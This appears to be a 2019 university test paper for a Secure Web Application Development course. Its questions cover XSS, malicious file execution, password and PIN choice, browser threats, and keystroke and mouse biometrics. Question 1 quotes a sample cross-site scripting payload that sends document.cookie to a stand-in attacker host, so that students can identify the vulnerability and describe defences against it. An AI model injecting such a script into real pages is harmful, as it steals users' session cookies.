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JAYPEE UNIVERSITY OF INFORMATION TECHNOLOGY, WAKNAGHAT

TEST -2 EXAMINATION- April 2019

B.Tech. (IT) VIII Semester

COURSE CODE: 18B1WCI838

MAX. MARKS: 25

COURSE NAME: Secure Web Application Development

COURSE CREDITS: 3

MAX. TIME: 90 Minutes.

Note: All questions are compulsory. Carrying of mobile phone during examinations will be treated as case of unfair means.

- Q1. CO-1 (a) Suppose malicious web page uses the following script [3]
`comment="Nice site! <SCRIPT> window.open(
http://badguy.com/info.pl?document.cookie </SCRIPT`
Identify the name of vulnerability associated with web page and explain how you will protect against this vulnerability. [2]
(b) What is Malicious File Execution in web applications? List an example of Malicious File Execution and describe in detail security mechanism.
- Q2. CO-2 (a) List and explain the six major criteria to select secure passwords. [3]
(b) You are trying to create a bank account and they ask you to enter a PIN number for the account. What would be a good PIN for you to use? Explain with reason [2]
A. 1111 B. 1234 C. 4571 D. 9876
- Q3. CO-3 Give an analogy between Operating System and Web Browser. Discuss any four Browser Security threats with their countermeasure [5]
- Q4. CO-4 List the advantages and disadvantages of using Keystroke Dynamics .What are the features to be considered for Keystroke Dynamics? Explain them in detail. [5]
- Q.5 CO-4 (a) Distinguish between the following pairs of terms [2]
(i) One Time Authentication and Continuous Authentication
(ii) Behavioral and Physiological Biometric
(b) What is Mouse Dynamics? Discuss in detail four actions received from the input device for Mouse Dynamics [3]